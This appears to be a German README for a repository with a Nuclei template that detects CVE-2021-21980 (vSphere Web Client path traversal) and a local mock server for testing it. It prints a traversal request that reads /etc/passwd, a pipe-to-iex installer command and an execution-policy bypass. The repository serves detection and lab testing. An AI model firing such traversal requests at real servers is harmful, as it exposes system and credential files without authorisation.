
CVE-2021-21980
=======================================================================
Dieses Repository enthält eine hochzuverlässige Nuclei-Vorlage zum Erkennen von CVE-2021-21980 (Path Traversal im vSphere Web Client) sowie eine kleine Mock-Umgebung, die das angreifbare Verhalten für sichere lokale Tests nachbildet.
Dateien:
cve-2021-21980.yaml: Nuclei-Vorlage mit mehreren Encoding-Varianten und Matchernapp.py: Eine kleine Flask-App, die die /eam/vib Path-Traversal-Schwachstelle simuliertDockerfile: Container-Image für den Mock-Server mit einem selbstsignierten TLS-Zertifikatdocker-compose.yml: Startet den Mock-Server und hört auf Host 8443requirements.txt: Python-Abhängigkeitencd C:\Benutzer\gui\Dokumente\hi
docker-compose up --build -d
Der Mock-Server lauscht auf https://localhost:8443 (selbstsigniertes TLS-Zertifikat).
curl -k "https://localhost:8443/" # sollte „VMware vSphere Web Client (mock)“ zurückgeben
curl -k "https://localhost:8443/eam/vib?id=../../../../../../../../../../etc/passwd"
Sie sollten den Inhalt der Mock-Datei /app/sensitive/passwd-mock erhalten.
nuclei -t cve-2021-21980.yaml -u https://localhost:8443 -insecure
Wenn Sie viele Encoding-Varianten testen möchten, setzen Sie die Nuclei-Vorlage auf hohe Ausführlichkeit.
Dieser Mock-Server gibt die Mock-Datei zurück, die
/etc/passwdnachbildet; in einer echten Umgebung würde/etc/passwdoder eine ähnliche Datei zurückgegeben werden, falls der Server anfällig ist. Automatisiertes TestskriptFühren Sie
run_local_test.ps1aus. Das Skript baut den Container, wartet auf die Bereitschaft und führt die curl-Checks sowie ggf. Nuclei aus.powershell -ExecutionPolicy Bypass -File .\run_local_test.ps1Nuclei unter Windows schnell installieren:
- Mit Scoop (empfohlen):
iwr -useb get.scoop.sh | iex scoop install coreutils scoop install nuclei
- Oder von den Releases herunterladen und zum PATH hinzufügen:
Invoke-WebRequest -Uri https://github.com/projectdiscovery/nuclei/releases/latest/download/nuclei_windows_amd64.zip -OutFile nuclei.zip Expand-Archive -Path nuclei.zip -DestinationPath .\nuclei Add-Content -Path $PROFILE -Value 'set PATH=$Env:PATH;$(Resolve-Path .\nuclei)'Hinweise
Falls
nucleinicht im PATH ist, führtrun_local_test.ps1nur die curl-Tests aus. Sollte der Docker-Build fehlschlagen, stellen Sie sicher, dass Docker Desktop installiert ist und die Option „Use the WSL 2 based engine“ aktiviert ist.
Sicherheit: Holen Sie stets eine ausdrückliche Genehmigung ein, bevor Sie Systeme scannen oder ausnutzen.